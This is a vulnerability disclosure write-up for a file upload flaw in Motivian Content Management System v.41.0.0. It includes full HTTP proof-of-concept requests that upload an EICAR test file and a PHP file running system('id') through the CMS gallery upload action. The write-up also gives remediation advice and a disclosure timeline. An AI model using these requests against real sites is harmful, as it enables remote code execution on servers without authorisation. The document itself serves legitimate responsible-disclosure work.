framarcuccio/cve-2025-29093-arbitrary-file-uploadThis repository reveals a security vulnerability discovered in Motivian Content Management System v.41.0.0
This repository reveals a security vulnerability discovered in Motivian Content Management System v.41.0.0.
This vulnerability was reported to the vendor in accordance with responsible disclosure practices, and to MITRE, which assigned a temporary CVE ID. The details are being made public following the expiration of the 45-day disclosure period.
Content/Gallery/ImagesFile Upload vulnerability in Motivian Content Managment System v.41.0.0 allows a remote attacker to upload arbitrary files with crafted extensions (e.g. .php, .png, .txt) containing malicious code, via the Content/Gallery/Images component.
The vulnerability can be exploited by uploading files with various extensions. For demonstration purposes, two proof-of-concept cases were used: one involving a .php file containing malicious code, and another using a .txt file with the EICAR test string. Both files were uploaded via the Content/Gallery/Images component.
Below is the full transcript of the HTTP requests and responses used to demonstrate the issue:
POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 808
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2oYL3KVZBlAQmYAA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="resFolderId"
-8
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="allowedExtensions"
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="hidePageComponents"
false
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="struts.token.name"
token
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="token"
M53N7SE0QE1Z4MZV4BRV59QW3TSEZ962
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="uploadResource"; filename="eicar.txt"
Content-Type: text/plain
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
------WebKitFormBoundary2oYL3KVZBlAQmYAA--
POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 789
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLdWSMj4ASbAC9uOz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="resFolderId"
304802
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="allowedExtensions"
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="hidePageComponents"
false
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="struts.token.name"
token
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="token"
77PMJUJH5ZAQTPWRG5TQCLIOR9CUBK0M
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="uploadResource"; filename="test.php5"
Content-Type: application/octet-stream
<?php
echo system('id');
?>
------WebKitFormBoundaryLdWSMj4ASbAC9uOz--
HTTP/1.1 200 OK
Connection: close
Date: Thu, 06 Feb 2025 10:26:29 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: it-IT
Content-Length: 16729
Do not allow users to upload arbitrary files. Implement strict file validation (MIME type and content inspection), randomize filenames, and restrict upload directories.
| Date | Action |
|---|---|
| 2025-02-06 | CVE ID request (CNA: MITRE) |
| 2025-04-02 | CVE ID assignment |
| 2025-04-07 | Vulnerabilities reported to vendor |
| 2025-05-31 | Public disclosure after expiration of the 45-day disclosure period (54 days total) |
| 2025-06-04 | Official registration and entry in the MITRE database and NIST/NVD portal |
Discovered and responsibly disclosed by:
Francesco Marcuccio
CyberSecurity Consultant, Penetration Tester
MITRE discoverer attribution listed as:
Francesco Marcuccio
CyberSecurity Consultant, Penetration Tester
This CVE ID is officially in PUBLISHED status. It will be updated with CVSS score by NIST, after analysis.